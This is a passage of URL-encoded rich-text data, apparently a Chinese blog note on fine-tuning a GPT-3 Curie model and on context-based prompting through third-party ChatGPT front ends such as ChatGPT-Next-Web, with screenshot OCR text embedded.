23-05-17%2019%3A07%3A32%5D%20FINE-TUNE%20IS%20IN%20THE%20QUEUE.%20QUEUE%20NUMBER%3A2%20%5B2023-05-17%2019%3A07%3A56%5D%20FINE-TUNE%20IS%20IN%20THE%20QUEUE.%20EUEQUEUENUMBER%3A%20%5B2023-05-17%2019%3A08%3A08%5D%20FINE-TUNE%20IS%20IN%20THE%20QUEUE.%20NUMBER%3A%20QUEUE%20FINE-TUNE%20STARTED%2019%3A09%3A21%5D%20%5B2023-05-17%207%2019%3A11%3A15%5D%20COMPLETED%20%5B2023-05-17%201%20EPOCH%201%2F4%20EPOCH%202%2F4%20%5B2023-05-17%2019%3A12%3A03%5D%20COMPLETED%20%5B2023-05-17%2019%3A12%3A50%5D%20COMPLETED%20EPOCH%203%2F4%2019%3A13%3A38%5D%20COMPLETED%20EPOCH%204%2F4%20%5B2023-05-17%201%20%5B2023-05-17%2019%3A13%3A55%5D%20UPLOADED%20MODEL%3ACURIE%3AFT-PERSONAL-2023-05-17-11-13-55%20RESULT%20FILE%3A%20FILE-2X3MFPRGPBOK8BPJYTKWVYEC%20UPLOADED%20%5B2023-05-17%2019%3A13%3A56%5D%20%5B2023-05-17%2019%3A13%3A56%5D%20FINE-TUNE%20SUCCEEDED%20JOB%20COMPLETE!STATUS%3ASUCCEEDED%20TRY%20OUT%20YOUR%20FINE-TUNED%20MODEL%3A%20CURIE%3AFT-PERSONAL-2023-05-17-11-13-55%20-P%20%3CYOUR_PROMPT%3E%20OPENAI%20API%20COMPLETIONS.CREATE%20-M%22%2C%22crop%22%3A%5B0%2C0%2C1%2C1%5D%2C%22showTitle%22%3Afalse%2C%22title%22%3A%22%22%2C%22rotation%22%3A0%2C%22__spacing%22%3A%22both%22%2C%22averageHue%22%3A%22%23393939%22%7D%2C%22cardType%22%3A%22inline%22%7D%2C%22cardType%22%3A%22inline%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u93629d00%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ue8dd83ec%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E8%AE%AD%E7%BB%83%E5%AE%8C%E6%88%90%E4%B9%8B%E5%90%8E%E4%BD%A0%E5%B0%B1%E5%8F%AF%E4%BB%A5%E4%BD%BF%E7%94%A8%E8%BF%99%E4%B8%AA%E6%A8%A1%E5%9E%8B%E6%9D%A5%E4%BA%A4%E4%BA%92%E3%80%82%E4%BD%86%E6%88%91%E7%A0%94%E7%A9%B6%E4%BA%86%E4%B8%80%E4%B8%8B%EF%BC%8C%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22uea93229d%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E8%BF%99%E4%B8%AA%E5%BE%AE%E8%B0%83%E5%90%8E%E7%9A%84Chatgpt%E5%8F%AA%E8%83%BD%E7%94%A8Complete%E5%8A%9F%E8%83%BD%EF%BC%8C%E4%BD%A0%E5%8F%AF%E4%BB%A5%E4%BD%BF%E7%94%A8api%E6%88%96%E8%80%85platform%E6%9D%A5%E8%B0%83%E7%94%A8%E8%BF%99%E4%B8%AA%E6%A8%A1%E5%9E%8B%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ube40e418%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22u071d9405%22%2C%22name%22%3A%22image%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2023%2Fpng%2F26687441%2F1684393313613-a4f203ad-27ea-4725-83bf-0000fe41afb7.png%22%2C%22original%22%3A%7B%22type%22%3A%22binary%22%2C%22from%22%3A%22paste%22%2C%22ratio%22%3A1.100000023841858%2C%22width%22%3A1365%2C%22height%22%3A397%7D%2C%22name%22%3A%22image.png%22%2C%22size%22%3A59730%2C%22width%22%3A1240.9090640131112%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22taskId%22%3A%22ua6c655ad-8aab-4323-abc6-41956df297c%22%2C%22clientId%22%3A%22uf7a08c3e-090f-4%22%2C%22linkExternal%22%3Atrue%2C%22ocr%22%3A%5B%7B%22x%22%3A9%2C%22y%22%3A27%2C%22width%22%3A101%2C%22height%22%3A19%2C%22text%22%3A%22PLAYGROUND%22%7D%2C%7B%22x%22%3A1167%2C%22y%22%3A29%2C%22width%22%3A69%2C%22height%22%3A17%2C%22text%22%3A%22VIEW%20CODE%22%7D%2C%7B%22x%22%3A791%2C%22y%22%3A29%2C%22width%22%3A97%2C%22height%22%3A16%2C%22text%22%3A%22LOAD%20A%20PRESET...%22%7D%2C%7B%22x%22%3A1264%2C%22y%22%3A30%2C%22width%22%3A43%2C%22height%22%3A16%2C%22text%22%3A%22SHARE%22%7D%2C%7B%22x%22%3A1104%2C%22y%22%3A30%2C%22width%22%3A34%2C%22height%22%3A15%2C%22text%22%3A%22SAVE%22%7D%2C%7B%22x%22%3A1167%2C%22y%22%3A96%2C%22width%22%3A39%2C%22height%22%3A16%2C%22text%22%3A%22MODE%22%7D%2C%7B%22x%22%3A29%2C%22y%22%3A114%2C%22width%22%3A188%2C%22height%22%3A18%2C%22text%22%3A%22%E5%BE%AE%E4%BF%A1%E5%85%AC%E4%BC%97%E5%8F%B7%E7%88%AC%E8%99%AB%E6%80%8E%E4%B9%88%E5%86%99%E5%91%A2%3F%22%7D%2C%7B%22x%22%3A1182%2C%22y%22%3A129%2C%22width%22%3A89%2C%22height%22%3A20%2C%22text%22%3A%22COMPLETE%22%7D%2C%7B%22x%22%3A29%2C%22y%22%3A161%2C%22width%22%3A149%2C%22height%22%3A18%2C%22text%22%3A%22%E5%89%8D%E5%87%A0%E5%A4%A9%E7%9C%8B%E5%88%B0%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%22%7D%2C%7B%22x%22%3A1169%2C%22y%22%3A173%2C%22width%22%3A42%2C%22height%22%3A14%2C%22text%22%3A%22MODEL%22%7D%2C%7B%22x%22%3A30%2C%22y%22%3A186%2C%22width%22%3A656%2C%22height%22%3A18%2C%22text%22%3A%22%5BHTTPS%3A%2F%2FZHUANLAN.ZHIHU.COM%2FNOTE%2F5372760%5D(HTTPS%3A%2F%2FZHUANLAN.ZHIHU.COM%2FNOTE%2F5372760)%22%7D%2C%7B%22x%22%3A1180%2C%22y%22%3A209%2C%22width%22%3A142%2C%22height%22%3A18%2C%22text%22%3A%22CURIE%3AFT-PERSONAL-20...%22%7D%2C%7B%22x%22%3A27%2C%22y%22%3A233%2C%22width%22%3A1061%2C%22height%22%3A19%2C%22text%22%3A%22%E7%BB%8F%E8%BF%87%3A%E6%9C%80%E6%B7%B1%E5%B8%A6.%E5%8F%91%E7%8E%B0%E6%96%B0%E9%9D%A2%E6%9C%89%E4%B8%AA%2CSUBSCRBSCRBSCRIC%20STRING%3AUUD%20%2C%E8%BF%99%E9%87%8C%E5%8F%AF%E4%BB%A5%E9%A2%84%E5%AE%9ACHANNEL%2C%E8%BF%99%E9%87%8C%E6%88%91%E4%BB%AC%E7%94%A8%E6%9D%A5%E8%B6%85%E6%9D%A5%E8%B6%85%E6%9D%A5%E5%B8%82%22%7D%2C%7B%22x%22%3A1335%2C%22y%22%3A254%2C%22width%22%3A24%2C%22height%22%3A17%2C%22text%22%3A%220.7%22%7D%2C%7B%22x%22%3A1171%2C%22y%22%3A255%2C%22width%22%3A85%2C%22height%22%3A16%2C%22text%22%3A%22TEMPERATURE%22%7D%2C%7B%22x%22%3A28%2C%22y%22%3A260%2C%22width%22%3A255%2C%22height%22%3A19%2C%22text%22%3A%22WEIXIN%E5%AF%B9%E8%B1%A1%2C%E8%BF%99%E9%87%8C%E9%9C%80%E8%A6%81%E6%8C%87%E5%AE%9AAPI%20KEY.%22%7D%2C%7B%22x%22%3A28%2C%22y%22%3A304%2C%22width%22%3A375%2C%22height%22%3A21%2C%22text%22%3A%22%E8%BF%99%E6%A0%B7%E4%B8%80%E6%9D%A5%2C%E6%88%91%E4%BB%AC%E9%9C%80%E8%A6%81%E5%81%9A%E7%9A%84%E5%B0%B1%E6%98%AF%E8%8E%B7%E5%8F%96%E5%88%A4%E6%96%AD%E4%BF%A1%E6%81%AF%2C%E8%8E%B7%E5%8F%96%E5%88%A4%22%7D%2C%7B%22x%22%3A1168%2C%22y%22%3A316%2C%22width%22%3A113%2C%22height%22%3A17%2C%22text%22%3A%22MAXIMUM%20LENGTH%22%7D%2C%7B%22x%22%3A1330%2C%22y%22%3A316%2C%22width%22%3A29%2C%22height%22%3A17%2C%22text%22%3A%22256%22%7D%2C%7B%22x%22%3A1172%2C%22y%22%3A344%2C%22width%22%3A29%2C%22height%22%3A16%2C%22text%22%3A%22-0%22%7D%2C%7B%22x%22%3A1169%2C%22y%22%3A376%2C%22width%22%3A107%2C%22height%22%3A17%2C%22text%22%3A%22STOP%20SEQUENCES%22%7D%5D%2C%22search%22%3A%22PLAYGROUND%20VIEW%20CODE%20LOAD%20A%20PRESET...%20SHARE%20SAVE%20MODE%20%E5%BE%AE%E4%BF%A1%E5%85%AC%E4%BC%97%E5%8F%B7%E7%88%AC%E8%99%AB%E6%80%8E%E4%B9%88%E5%86%99%E5%91%A2%3F%20COMPLETE%20%E5%89%8D%E5%87%A0%E5%A4%A9%E7%9C%8B%E5%88%B0%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%20MODEL%20%5BHTTPS%3A%2F%2FZHUANLAN.ZHIHU.COM%2FNOTE%2F5372760%5D(HTTPS%3A%2F%2FZHUANLAN.ZHIHU.COM%2FNOTE%2F5372760)%20CURIE%3AFT-PERSONAL-20...%20%E7%BB%8F%E8%BF%87%3A%E6%9C%80%E6%B7%B1%E5%B8%A6.%E5%8F%91%E7%8E%B0%E6%96%B0%E9%9D%A2%E6%9C%89%E4%B8%AA%2CSUBSCRBSCRBSCRIC%20STRING%3AUUD%20%2C%E8%BF%99%E9%87%8C%E5%8F%AF%E4%BB%A5%E9%A2%84%E5%AE%9ACHANNEL%2C%E8%BF%99%E9%87%8C%E6%88%91%E4%BB%AC%E7%94%A8%E6%9D%A5%E8%B6%85%E6%9D%A5%E8%B6%85%E6%9D%A5%E5%B8%82%200.7%20TEMPERATURE%20WEIXIN%E5%AF%B9%E8%B1%A1%2C%E8%BF%99%E9%87%8C%E9%9C%80%E8%A6%81%E6%8C%87%E5%AE%9AAPI%20KEY.%20%E8%BF%99%E6%A0%B7%E4%B8%80%E6%9D%A5%2C%E6%88%91%E4%BB%AC%E9%9C%80%E8%A6%81%E5%81%9A%E7%9A%84%E5%B0%B1%E6%98%AF%E8%8E%B7%E5%8F%96%E5%88%A4%E6%96%AD%E4%BF%A1%E6%81%AF%2C%E8%8E%B7%E5%8F%96%E5%88%A4%20MAXIMUM%20LENGTH%20256%20-0%20STOP%20SEQUENCES%22%2C%22crop%22%3A%5B0%2C0%2C1%2C1%5D%2C%22showTitle%22%3Afalse%2C%22title%22%3A%22%22%2C%22rotation%22%3A0%2C%22__spacing%22%3A%22both%22%2C%22averageHue%22%3A%22%23fefefe%22%7D%2C%22cardType%22%3A%22inline%22%7D%2C%22cardType%22%3A%22inline%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u5ae52b35%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u427c07c5%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E4%BD%86%E8%BF%98%E6%98%AF%E9%82%A3%E5%8F%A5%E8%AF%9D%EF%BC%8C%E8%BF%99%E4%B8%AA%E6%96%B9%E6%A1%88%E9%97%AE%E9%A2%98%E7%9B%B8%E5%BD%93%E4%B9%8B%E5%A4%A7%EF%BC%8C%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u24a4f6ee%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E4%B8%80%E4%B8%AA%E6%98%AFGPT3%E5%9C%A8%E7%8E%B0%E5%9C%A8%E7%9A%84%E5%A4%A7%E6%A8%A1%E5%9E%8B%E4%B8%AD%E6%98%AF%E6%AF%94%E8%BE%83%E8%8F%9C%E7%9A%84%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u1d07818b%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%EF%BC%8C%E5%85%88%E4%B8%8D%E8%AF%B4GPT4%EF%BC%8C%E8%BF%9E3.5%E4%BB%80%E4%B9%88%E6%97%B6%E5%80%99%E4%B8%8A%E7%BA%BF%E8%BF%99%E4%B8%AA%E5%8A%9F%E8%83%BD%E8%BF%98%E9%81%A5%E9%81%A5%E6%97%A0%E6%9C%9F%EF%BC%8C%E5%8F%A6%E4%B8%80%E6%96%B9%E9%9D%A2%E5%B0%B1%E7%8E%B0%E5%9C%A8%E7%9A%84%E5%86%85%E5%AE%B9%E8%80%8C%E8%A8%80%EF%BC%8C%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ub740c51e%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E8%AE%AD%E7%BB%83%E7%9A%84%E7%BB%93%E6%9E%9C%E5%92%8C%E4%BB%B7%E6%A0%BC%E5%85%B6%E5%AE%9E%E4%B8%8D%E5%A4%AA%E6%88%90%E6%AD%A3%E6%AF%94%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22uc2112b5f%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%EF%BC%8C%E4%B8%80%E6%96%B9%E9%9D%A2%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ue69f1b46%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E5%BE%AE%E8%B0%83%E8%BF%99%E4%B8%AA%E5%8A%9F%E8%83%BD%E5%BE%88%E4%BE%9D%E8%B5%96%E8%AE%AD%E7%BB%83%E7%9A%84%E6%95%B0%E6%8D%AE%E6%9C%89%E6%95%88%E5%BA%A6%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ua42a574e%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%EF%BC%8C%E4%BD%A0%E7%AE%80%E5%8D%95%E7%9A%84%E6%8B%BF%E4%B8%80%E5%A4%A7%E5%A0%86%E6%95%B0%E6%8D%AE%E6%9D%A5%E6%90%9E%E4%B8%8D%E4%BD%86%E5%BE%88%E8%B4%B5%E8%BF%98%E6%95%88%E6%9E%9C%E4%B8%8D%E5%A5%BD%EF%BC%8C%E4%BD%A0%E7%B2%BE%E5%BF%83%E5%87%86%E5%A4%87%E5%90%84%E7%A7%8D%E6%8F%90%E7%A4%BA%E8%AF%8D%E5%92%8C%E5%86%85%E5%AE%B9%E5%8F%88%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u8c830b5c%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E8%BF%9D%E8%83%8C%E4%BA%86%E6%9C%AC%E8%BA%AB%E4%BE%9D%E9%9D%A0ai%E6%9D%A5%E5%81%9A%E6%80%BB%E7%BB%93%E5%BD%92%E7%BA%B3%E7%9A%84%E5%88%9D%E5%BF%83%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u4fe0dfca%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%EF%BC%8C%E6%89%80%E4%BB%A5%E7%8E%B0%E5%9C%A8%E5%B8%82%E9%9D%A2%E4%B8%8A%E6%9B%B4%E5%A4%9A%E7%9A%84%E5%9F%BA%E4%BA%8Echatgpt%E7%9A%84%E7%AC%AC%E4%B8%89%E6%96%B9%E5%B7%A5%E5%85%B7%EF%BC%8C%E9%83%BD%E6%98%AF%E7%94%A8%E4%BA%86%E4%B8%80%E4%BA%9B%E5%85%B6%E4%BB%96%E7%9A%84%E6%96%B9%E6%A1%88%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22QNpgV%22%2C%22name%22%3A%22h1%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ue4a08f2e%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E5%9F%BA%E4%BA%8E%E4%B8%8A%E4%B8%8B%E6%96%87%E8%AE%AD%E7%BB%83%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u4e1c68c1%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ud0bc615d%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E5%9C%A8%E5%89%8D%E9%9D%A2%E7%9A%84%E6%96%87%E7%AB%A0%E4%B8%AD%EF%BC%8C%E5%85%B6%E5%AE%9E%E6%9C%89%E8%AE%B2%E5%88%B0%E8%BF%99%E4%B8%AA%E5%85%B3%E9%94%AE%E7%82%B9%EF%BC%8C%E8%99%BD%E7%84%B6%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22uafc5f610%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22ChatGPT%E4%B8%8D%E4%BC%9A%E5%AD%A6%E4%B9%A0%E6%9D%A5%E8%87%AA%E4%BA%92%E8%81%94%E7%BD%91%E4%B8%8A%E7%9A%84%E4%BB%BB%E4%BD%95%E5%AF%B9%E8%AF%9D%E4%BF%A1%E6%81%AF%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u6917051d%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%EF%BC%8C%E4%BD%86%E4%B8%BA%E4%BA%86%E4%BF%9D%E8%AF%81%E5%AF%B9%E8%AF%9D%E7%9A%84%E6%B5%81%E7%95%85%E6%80%A7%EF%BC%8C%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u1980aba7%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22ChatGPT%E4%BC%9A%E8%AE%B0%E5%BD%95%E6%AF%8F%E4%B8%AA%E5%AF%B9%E8%AF%9Dsession%E7%9A%84%E4%B8%8A%E4%B8%8B%E6%96%87%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ubd96bf86%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E5%B9%B6%E5%9C%A8%E8%BF%99%E4%B8%AA%E5%9F%BA%E7%A1%80%E4%B8%8A%E5%AF%B9%E4%BD%A0%E8%BF%9B%E8%A1%8C%E5%8F%8D%E9%A6%88%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u41340d8f%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ub7f544e4%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E6%89%80%E4%BB%A5%E5%B0%B1%E8%A1%8D%E7%94%9F%E4%BA%86%E4%B8%80%E7%A7%8D%E7%9B%B8%E5%85%B3%E7%9A%84%E6%96%B9%E6%A1%88%EF%BC%8C%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u7f776a85%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E9%80%9A%E8%BF%87%E5%82%A8%E5%AD%98%E4%B8%8A%E4%B8%8B%E6%96%87%E6%9D%A5%E5%AE%9E%E7%8E%B0%E7%AE%80%E5%8D%95%E7%9A%84%E8%AE%AD%E7%BB%83%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ud0b58267%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%EF%BC%8C%E8%BF%99%E4%B8%AA%E4%B8%9C%E8%A5%BF%E6%9C%80%E5%A4%A7%E7%9A%84%E4%BC%98%E5%8A%BF%E6%98%AF%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ubd9028b5%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E5%8F%AF%E4%BB%A5%E4%BD%BF%E7%94%A8%E7%8E%B0%E5%9C%A8%E5%A4%A7%E6%A8%A1%E5%9E%8B%E4%B8%AD%E6%9C%80%E9%A2%86%E5%85%88%E7%9A%84GPT4%E6%A8%A1%E5%9E%8B%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ud1921eee%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%EF%BC%8C%E8%80%8C%E9%97%AE%E9%A2%98%E6%98%AF%EF%BC%8C%E8%BF%99%E7%A7%8D%E6%96%B9%E6%A1%88%E5%8F%AA%E8%83%BD%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22uab1eca24%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E5%AE%9E%E7%8E%B0%E7%89%B9%E5%88%AB%E7%AE%80%E5%8D%95%E7%9A%84%E8%AE%AD%E7%BB%83%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22uef826557%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%EF%BC%8C%E5%B0%A4%E5%85%B6%E6%98%AF%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u69f26ad0%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E4%B8%8D%E8%83%BD%E5%A4%AA%E5%A4%9A%E6%9D%A1%2B%E9%95%BF%E5%BA%A6%E8%BF%87%E9%95%BF%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ue840ff7c%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%EF%BC%81%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ub9ef606c%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u49e5f3e8%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E5%BE%88%E5%A4%9A%E7%AC%AC%E4%B8%89%E6%96%B9%E7%9A%84ChatGPT%E5%92%8C%E4%B8%80%E4%BA%9B%E6%B5%8F%E8%A7%88%E5%99%A8%E6%8F%92%E4%BB%B6%E5%85%B6%E5%AE%9E%E9%83%BD%E5%AE%9E%E7%8E%B0%E4%BA%86%E7%B1%BB%E4%BC%BC%E7%9A%84%E5%8A%9F%E8%83%BD%E3%80%82%E8%BF%99%E9%87%8C%E6%8B%BF%E6%88%91%E4%BD%BF%E7%94%A8%E7%9A%84%E7%AC%AC%E4%B8%89%E6%96%B9ChatGPT%E6%9D%A5%E7%9C%8B%E7%9C%8B%E8%BF%99%E4%B8%AA%E5%8A%9F%E8%83%BD%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ub85dda2b%22%2C%22name%22%3A%22uli%22%2C%22attrs%22%3A%7B%22indexStyle%22%3A%7B%7D%2C%22list%22%3A%22u69c99c94%22%2C%22fid%22%3A%22u05ba5c88%22%2C%22indexType%22%3A0%2C%22parentIndex%22%3A%5B%5D%2C%22index%22%3A0%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ud8157791%22%2C%22name%22%3A%22link%22%2C%22attrs%22%3A%7B%22src%22%3A%22https%3A%2F%2Fgithub.com%2FYidadaa%2FChatGPT-Next-Web%22%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u62260772%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22https%3A%2F%2Fgithub.com%2FYidadaa%2FChatGPT-Next-Web%22%7D%5D%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u4eda77bb%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22uc8d2ca5d%22%2C%22name%22%3A%22image%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2023%2Fpng%2F26687441%2F1684399572185-70e3ab8f-9a1d-4901-b054-556f66e85657.png%22%2C%22original%22%3A%7B%22type%22%3A%22binary%22%2C%22from%22%3A%22paste%22%2C%22ratio%22%3A1.100000023841858%2C%22width%22%3A1032%2C%22height%22%3A625%7D%2C%22name%22%3A%22image.png%22%2C%22size%22%3A66948%2C%22width%22%3A938.1817978472753%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22taskId%22%3A%22u39da3697-f7c4-4cd8-8b92-b21edf57fb1%22%2C%22clientId%22%3A%22uf7a08c3e-090f-4%22%2C%22linkExternal%22%3Atrue%2C%22ocr%22%3A%5B%7B%22x%22%3A22%2C%22y%22%3A11%2C%22width%22%3A97%2C%22height%22%3A16%2C%22text%22%3A%22%E7%BC%96%E8%BE%91%E9%A2%84%E8%AE%BE%E9%9D%A2%E5%85%B7%22%7D%2C%7B%22x%22%3A32%2C%22y%22%3A84%2C%22width%22%3A949%2C%22height%22%3A17%2C%22text%22%3A%22%E4%BD%A0%E6%98%AF%E4%B8%80%E4%B8%AA%E9%AD%94%E5%85%BD%E4%B8%96%E7%95%8C%E6%B8%B8%E6%88%8F%E7%9A%84%E5%B0%8F%E5%8A%A8%E6%89%8B%2C%E8%B4%9F%E8%B4%A3%E9%83%A8%E7%9A%84%E6%88%91%E6%89%BF%E6%89%93%E6%B3%95%E6%9A%97%E4%B8%8D%E4%BB%A5%E5%8F%8A%E9%85%92%E5%BA%97%2C%E4%B9%9F%E4%BC%9A%E7%BB%99%E6%88%91%E8%A7%A3%E7%AD%94%E5%90%84%E7%A7%8D%E7%9B%B8%E5%85%B3%E7%9A%84%E9%97%AE%E9%A2%98%2C%E5%A6%82%E6%9E%9C%E6%9C%89%E4%B8%8D%E7%9F%A5%E8%BF%9B%E7%AD%94%E6%A1%88%E7%9A%84%E9%97%AE%E9%A2%98%2C%E6%88%91%E4%BC%9A%E7%BB%99%E4%BD%A0%E7%AD%94%E6%A1%88%2C%E4%BD%A0%E4%BC%9A%E5%AD%A6%E4%B9%A0%E4%B9%8B%E5%90%8E%E5%B9%B6%22%7D%2C%7B%22x%22%3A32%2C%22y%22%3A104%2C%22width%22%3A125%2C%22height%22%3A19%2C%22text%22%3A%22%E5%BA%94%E7%94%A8%E5%9C%A8%E4%B9%8B%E5%90%8E%E7%9A%84%E5%86%85%E5%AE%B9%E4%B8%AD%22%7D%2C%7B%22x%22%3A485%2C%22y%22%3A211%2C%22width%22%3A75%2C%22height%22%3A15%2C%22text%22%3A%22%E6%96%B0%E5%A2%9E%E9%A2%84%E8%AE%BE%E5%AF%B9%E8%AF%9D%22%7D%2C%7B%22x%22%3A43%2C%22y%22%3A281%2C%22width%22%3A57%2C%22height%22%3A15%2C%22text%22%3A%22%E8%A7%92%E8%89%B2%E5%A4%B4%E5%83%8F%22%7D%2C%7B%22x%22%3A850%2C%22y%22%3A340%2C%22width%22%3A55%2C%22height%22%3A16%2C%22text%22%3A%22%E6%96%B0%E7%9A%84%E8%81%8A%E5%A4%A9%22%7D%2C%7B%22x%22%3A43%2C%22y%22%3A342%2C%22width%22%3A57%2C%22height%22%3A15%2C%22text%22%3A%22%E8%A7%92%E8%89%B2%E5%90%8D%E7%A7%B0%22%7D%2C%7B%22x%22%3A42%2C%22y%22%3A423%2C%22width%22%3A87%2C%22height%22%3A16%2C%22text%22%3A%22%E6%A8%A1%E5%9E%8B(MODEL)%22%7D%2C%7B%22x%22%3A875%2C%22y%22%3A423%2C%22width%22%3A79%2C%22height%22%3A16%2C%22text%22%3A%22GPT-3.5-TURBO%22%7D%2C%7B%22x%22%3A42%2C%22y%22%3A476%2C%22width%22%3A145%2C%22height%22%3A17%2C%22text%22%3A%22%E9%9A%8F%E6%9C%BA%E6%80%A7(TEMPERATURE)%22%7D%2C%7B%22x%22%3A814%2C%22y%22%3A486%2C%22width%22%3A20%2C%22height%22%3A13%2C%22text%22%3A%221.0%22%7D%2C%7B%22x%22%3A43%2C%22y%22%3A495%2C%22width%22%3A109%2C